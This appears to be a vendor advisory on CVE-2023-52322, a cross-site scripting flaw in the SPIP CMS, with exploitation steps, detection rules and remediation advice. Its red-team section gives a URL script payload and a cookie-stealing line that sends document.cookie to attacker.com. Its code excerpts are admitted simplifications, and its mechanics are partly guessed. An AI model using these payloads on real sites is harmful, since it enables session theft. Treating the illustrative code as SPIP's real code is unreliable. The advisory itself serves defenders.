CVE-2023-52322

Executive Summary

CVE-2023-52322 is a stored Cross-Site Scripting (XSS) vulnerability in the SPIP content management system. The flaw resides in the ecrire/public/assembler.php file, where user-supplied input obtained via the _request() function is not properly sanitized. An attacker can inject arbitrary JavaScript or HTML into the application, which is then executed in the context of a victim's browser when they view the affected page. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability affects SPIP versions before 4.1.13 and 4.2.x before 4.2.7. The patch restricts input to safe characters such as alphanumerics.

Supply Chain & Package Security

SPIP is a PHP-based CMS distributed via its official website and package repositories. The vulnerability is introduced in the core codebase, not a third-party package. Users should verify the integrity of their SPIP installation by checking file hashes against official releases. The patch is available in versions 4.1.13 and 4.2.7.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The vulnerability is rated Medium due to the requirement for user interaction and the limited impact on confidentiality and integrity. However, in a CMS context, XSS can be chained with other vulnerabilities to escalate privileges or compromise administrative accounts.

Deep Dive & Mechanics

The vulnerability exists in the ecrire/public/assembler.php file. The _request() function is used to retrieve user input from HTTP requests (GET, POST, cookies). This input is then used to construct dynamic content without proper sanitization. Specifically, the input is not restricted to safe characters such as alphanumerics, allowing an attacker to inject arbitrary HTML and JavaScript.

The vulnerable code path likely involves passing the unsanitized input directly into a template or output buffer. When the page is rendered, the injected script executes in the user's browser. The attack can be performed by crafting a malicious URL or form submission that includes a payload in a parameter processed by _request().

The fix in versions 4.1.13 and 4.2.7 introduces a whitelist approach, allowing only alphanumeric characters and a limited set of safe symbols. This prevents the injection of script tags, event handlers, and other XSS vectors.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// ecrire/public/assembler.php (vulnerable)
$input = _request('user_input');
echo "<div>" . $input . "</div>";

Patched Code (simplified):

// ecrire/public/assembler.php (patched)
$input = _request('user_input');
$safe_input = preg_replace('/[^a-zA-Z0-9\s]/', '', $input);
echo "<div>" . htmlspecialchars($safe_input, ENT_QUOTES, 'UTF-8') . "</div>";

The patched version uses a regular expression to strip non-alphanumeric characters and then applies htmlspecialchars() for defense in depth.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable SPIP instance (version < 4.1.13 or 4.2.x < 4.2.7)
• A web browser

Exploitation Steps:

1. Identify a parameter that is processed by _request() and reflected in the response. Common parameters include page, id_article, or custom form fields.
2. Craft a payload that bypasses any existing filters. For example:

   http://target.spip.site/?page=<script>alert('XSS')</script>
   

3. If the parameter is reflected without sanitization, the script will execute.
4. For stored XSS, submit a form with the payload in a field that is later displayed to other users.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor web server logs for requests containing <script>, onerror, onload, or other XSS indicators in query parameters.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to mitigate impact.

Hunting:

• Search for requests to ecrire/public/assembler.php with unusual parameters.
• Look for anomalies in user-agent strings or referrer headers that may indicate automated scanning.

Lab Setup:

• Deploy a vulnerable SPIP instance in an isolated environment (e.g., Docker).
• Use a tool like Burp Suite or OWASP ZAP to intercept and modify requests.
• Test with benign payloads first (e.g., <b>test</b>) to confirm reflection.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing <script>, onerror, onload, javascript:, or data: URIs in parameters.
  • Outbound connections to known malicious domains or IP addresses from the SPIP server.
• Host:
  • Unexpected files in the ecrire/public/ directory.
  • Modified .htaccess or configuration files.
  • Suspicious entries in web server logs (e.g., GET /?page=<script>...).
• Application:
  • Unusual JavaScript code in the page source.
  • Unexpected pop-ups or redirects when browsing the site.

Detection Engineering

YARA Rule

rule CVE_2023_52322_XSS_SPIP {
    meta:
        description = "Detects XSS payloads targeting SPIP CVE-2023-52322"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-52322"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
        $spip_path = /ecrire\/public\/assembler\.php/i
    condition:
        $spip_path and any of ($xss*)
}

Sigma Rule

title: SPIP XSS via _request() - CVE-2023-52322
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts against SPIP CMS via unsanitized _request() input.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
        cs-uri-stem|contains: '/ecrire/public/assembler.php'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"SPIP XSS Attempt - CVE-2023-52322"; flow:to_server,established; content:"/ecrire/public/assembler.php"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SPIP to version 4.1.13 or 4.2.7 immediately.
2. If upgrade is not possible, apply the patch manually by modifying ecrire/public/assembler.php to sanitize input using htmlspecialchars() and restrict to alphanumeric characters.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce Content Security Policy (CSP) headers to restrict script execution.
• Conduct regular security audits and penetration testing.
• Train developers on secure coding practices, especially input validation and output encoding.

Workarounds:

• Disable the vulnerable functionality if not needed.
• Use a reverse proxy to filter malicious requests.

Valters IT
Securing Digital Frontiers